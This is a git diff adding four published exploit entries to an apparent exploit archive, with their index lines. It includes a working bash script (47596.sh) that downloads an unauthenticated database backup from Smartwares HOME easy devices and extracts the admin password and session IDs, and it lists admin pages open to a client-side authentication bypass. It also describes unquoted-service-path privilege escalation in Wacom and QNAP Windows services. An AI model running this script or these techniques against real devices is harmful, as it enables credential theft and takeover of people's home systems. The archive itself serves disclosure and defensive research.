diff --git a/exploits/hardware/webapps/47595.txt b/exploits/hardware/webapps/47595.txt new file mode 100644 index 000000000..501e39b37 --- /dev/null +++ b/exploits/hardware/webapps/47595.txt @@ -0,0 +1,33 @@ +# Exploit Title: Smartwares HOME easy 1.0.9 - Client-Side Authentication Bypass +# Author: LiquidWorm +# Date: 2019-11-05 +# Vendor: Smartwares +# Product web page: https://www.smartwares.eu +# Affected version: <=1.0.9 +# Advisory ID: ZSL-2019-5540 +# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5540.php +# CVE: N/A + +Summary: Home Easy/Smartwares are a range of products designed to remotely +control your home using wireless technology. Home Easy/Smartwares is very +simple to set up and allows you to operate your electrical equipment like +lighting, appliances, heating etc. + +Desc: HOME easy suffers from information disclosure and client-side authentication +bypass vulnerability through IDOR by navigating to several administrative web pages. +This allowed disclosing an SQLite3 database file and location. Other functionalities +are also accessible by disabling JavaScript in your browser, bypassing the client-side +validation and redirection. + +Tested on: Boa/0.94.13 + +/web-en/task.html +/web-en/action_task.html +/web-en/plan_task.html +/web-en/room.html +/web-en/room_set.html +/web-en/room_set2.html +/web-en/scene.html +/web-en/scene_set.html +/web-en/scene_set2.html +/web-en/system.html \ No newline at end of file diff --git a/exploits/hardware/webapps/47596.sh b/exploits/hardware/webapps/47596.sh new file mode 100755 index 000000000..3c6e9dfab --- /dev/null +++ b/exploits/hardware/webapps/47596.sh @@ -0,0 +1,62 @@ +# Title: Smartwares HOME easy 1.0.9 - Database Backup Information Disclosure +# Author: LiquidWorm +# Date: 2019-11-05 +# Vendor: Smartwares +# Product web page: https://www.smartwares.eu +# Affected version: <=1.0.9 +# Advisory ID: ZSL-2019-5541 +# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5541.php +# CVE: N/A + +# Summary: Home Easy/Smartwares are a range of products designed to remotely +# control your home using wireless technology. Home Easy/Smartwares is very +# simple to set up and allows you to operate your electrical equipment like +# lighting, appliances, heating etc. +# +# Desc: The home automation solution is vulnerable to unauthenticated database +# backup download and information disclosure vulnerability. This can enable the +# attacker to disclose sensitive and clear-text information resulting in authentication +# bypass, session hijacking and full system control. + +#!/bin/bash +# +# ============================================================================== +# root@kali:~/homeeasy# ./he_info.sh http://192.168.1.177:8004 +# Target: http://192.168.1.177:8004 +# Filename: 192.168.1.177:8004-16072019-db.sqlite +# Username: admin +# Password: s3cr3tP4ssw0rd +# Version: 1.0.9 +# Sessions: +# ------------------------------------------------------------------ +# * Ft5Mkgr5i9ywVrRH4mAECSaNJkTp5oiC0fpbuIgDIFbE83f3hGGKzIyb3krXHBsy +# * Gcea4Ald4PlVGkOh23mIohGq2Da6h4mX0A8ibkm7by3QSI8TLmuaubrvGABWvWMJ +# * JFU4zpdhuN4RTYgvvAhKQKqnQSvc8MAJ0nMTLYb8F6YzV7WjHe4qYlMH6aSdOlN9 +# * VtOqw37a12jPdJH3hJ5E9qrc3I4YY1aU0PmIRkSJecAqMak4TpzTORWIs1zsRInd +# * flR4VjFmDBSiaTmXSYQxf4CdtMT3OQxV0pQ1zwfe98niSI9LIYcO3F2nsUpiDVeH +# * rCfrAvnfnl6BsLjF9FjBoNgPgvqSptcH0i9yMwN3QSDbwNHwu19ROoAVSROamRRk +# ------------------------------------------------------------------ +# ============================================================================== + +if [ "$#" -ne 1 ]; then + echo "Usage: $0 http://ip:port" + exit 0 +fi +TARGET=$1 +CHECK=$(curl -Is $TARGET/data.dat 2>/dev/null | head -1 | awk -F" " '{print $2}') +if [[ "$?" = "7" ]] || [[ $CHECK != "200" ]]; then + echo "No juice." + exit 1 +fi +echo "Target: "$TARGET +FNAME=${TARGET:7}-$(date +"%d%m%Y") +curl -s $TARGET/data.dat -o $FNAME-db.sqlite +echo "Filename: $FNAME-db.sqlite" +echo "Username: "$(sqlite3 $FNAME-db.sqlite "select usrname from usr") # default: admin +echo "Password: "$(sqlite3 $FNAME-db.sqlite "select usrpassword from usr") # default: 111111 +echo "Version: "$(sqlite3 $FNAME-db.sqlite "select option_value1 from option LIMIT 1 OFFSET 3") +echo -ne "Sessions: \n" +printf "%0.s-" {1..66} +printf "\n" +sqlite3 $FNAME-db.sqlite "select sessionid from sessiontable" | xargs -L1 echo "*" +printf "%0.s-" {1..66} ; printf "\n\n" \ No newline at end of file diff --git a/exploits/windows/local/47593.txt b/exploits/windows/local/47593.txt new file mode 100644 index 000000000..7c9372020 --- /dev/null +++ b/exploits/windows/local/47593.txt @@ -0,0 +1,31 @@ +# Exploit Title: Wacom WTabletService 6.6.7-3 - 'WTabletServicePro' Unquoted Service Path +# Discovery by: Marcos Antonio León (psk) +# Discovery Date: 2019-11-04 +# Vendor Homepage: https://www.wacom.com +# Software Link : http://cdn.wacom.com/U/drivers/IBMPC/pro/WacomTablet_637-3.exe +# Tested Version: 6.3.7.3 +# Vulnerability Type: Unquoted Service Path +# Tested on OS: Windows 10 Home x64 es + +# Step to discover Unquoted Service Path: + +C:\>sc qc WTabletServicePro +[SC] QueryServiceConfig CORRECTO + +NOMBRE_SERVICIO: WTabletServicePro + TIPO : 10 WIN32_OWN_PROCESS + TIPO_INICIO : 2 AUTO_START + CONTROL_ERROR : 1 NORMAL + NOMBRE_RUTA_BINARIO: C:\Program Files\Tablet\Wacom\WTabletServicePro.exe + GRUPO_ORDEN_CARGA : PlugPlay + ETIQUETA : 0 + NOMBRE_MOSTRAR : Wacom Professional Service + DEPENDENCIAS : + NOMBRE_INICIO_SERVICIO: LocalSystem + +#Exploit: + +A successful attempt would require the local attacker must insert an +executable file in the path of the service. Upon service restart or +system reboot, the malicious code will be run with elevated +privileges. \ No newline at end of file diff --git a/exploits/windows/local/47594.txt b/exploits/windows/local/47594.txt new file mode 100644 index 000000000..5a7f9a97b --- /dev/null +++ b/exploits/windows/local/47594.txt @@ -0,0 +1,52 @@ +# Exploit Title: QNAP NetBak Replicator 4.5.6.0607 - 'QVssService' Unquoted Service Path +# Discovery Date: 2019-11-05 +# Exploit Author: Ivan Marmolejo +# Vendor Homepage: https://www.qnap.com/en/ +# Software Link: https://www.qnap.com/en/download +# Version: 4.5.6.0607 +# Vulnerability Type: Local +# Tested on: Windows XP Profesional Español SP3 + +#Exploit +############################################################################################################################################## + +Summary: QNAP NetBak Replicator provides several options for copying files from your Windows computer to your NAS. By simplifying the backup +process, NetBak Replicator helps ensure that your files are safe even when your computer becomes unavailable. + +Description: The application suffers from an unquoted search path issue impacting the service 'QVssService'. This could potentially allow an +authorized but non-privileged local user to execute arbitrary code with elevated privileges on the system. A successful attempt would require +the local user to be able to insert their code in the system root path undetected by the OS or other security applications where it could +potentially be executed during application startup or reboot. If successful, the local user’s code would execute with the elevated privileges +of the application. + +############################################################################################################################################## + +Step to discover the unquoted Service: + + +C:\Users\user>wmic service get name, displayname, pathname, startmode | findstr /i "auto" | findstr /i /v "C:\Windows\\" | findstr /i /v """ + + +QNAP Vss Service QVssService C:\Archivos de programa\QNAP\NetBak\QVssService.exe Auto + + +############################################################################################################################################## + +Service info: + + +C:\Users\user>sc qc QVssService +[SC] QueryServiceConfig SUCCESS + +SERVICE_NAME: QVssService + TYPE : 10 WIN32_OWN_PROCESS + START_TYPE : 2 AUTO_START + ERROR_CONTROL : 1 NORMAL + BINARY_PATH_NAME : C:\Archivos de programa\QNAP\NetBak\QVssService.exe + LOAD_ORDER_GROUP : + TAG : 0 + DISPLAY_NAME : QNAP Vss Service + DEPENDENCIES : + SERVICE_START_NAME : LocalSystem + +############################################################################################################################################## \ No newline at end of file diff --git a/files_exploits.csv b/files_exploits.csv index cc935779d..59e64cfd5 100644 --- a/files_exploits.csv +++ b/files_exploits.csv @@ -10752,6 +10752,8 @@ id,file,description,date,author,type,platform,port 47580,exploits/linux/local/47580.rb,"Micro Focus (HPE) Data Protector - SUID Privilege Escalation (Metasploit)",2019-11-04,Metasploit,local,linux, 47582,exploits/windows/local/47582.txt,"Blue Stacks App Player 2.4.44.62.57 - _BstHdLogRotatorSvc_ Unquote Service Path",2019-11-05,"Diego Armando Buztamante Rico",local,windows, 47584,exploits/windows/local/47584.txt,"Network Inventory Advisor 5.0.26.0 - 'niaservice' Unquoted Service Path",2019-11-05,"Samuel DiazL",local,windows, +47593,exploits/windows/local/47593.txt,"Wacom WTabletService 6.6.7-3 - 'WTabletServicePro' Unquoted Service Path",2019-11-06,"Marcos Antonio León",local,windows, +47594,exploits/windows/local/47594.txt,"QNAP NetBak Replicator 4.5.6.0607 - 'QVssService' Unquoted Service Path",2019-11-06,"Ivan Marmolejo",local,windows, 1,exploits/windows/remote/1.c,"Microsoft IIS - WebDAV 'ntdll.dll' Remote Overflow",2003-03-23,kralor,remote,windows,80 2,exploits/windows/remote/2.c,"Microsoft IIS 5.0 - WebDAV Remote",2003-03-24,RoMaNSoFt,remote,windows,80 5,exploits/windows/remote/5.c,"Microsoft Windows 2000/NT 4 - RPC Locator Service Remote Overflow",2003-04-03,"Marcin Wolak",remote,windows,139 @@ -41909,3 +41911,5 @@ id,file,description,date,author,type,platform,port 47587,exploits/php/webapps/47587.txt,"html5_snmp 1.11 - 'Remark' Persistent Cross-Site Scripting",2019-11-05,cakes,webapps,php,80 47588,exploits/php/webapps/47588.txt,"html5_snmp 1.11 - 'Router_ID' SQL Injection",2019-11-05,cakes,webapps,php,80 47589,exploits/aspx/webapps/47589.txt,"SD.NET RIM 4.7.3c - 'idtyp' SQL Injection",2019-11-05,"Fabian Mosch_ Nick Theisinger",webapps,aspx,80 +47595,exploits/hardware/webapps/47595.txt,"Smartwares HOME easy 1.0.9 - Client-Side Authentication Bypass",2019-11-06,LiquidWorm,webapps,hardware, +47596,exploits/hardware/webapps/47596.sh,"Smartwares HOME easy 1.0.9 - Database Backup Information Disclosure",2019-11-06,LiquidWorm,webapps,hardware,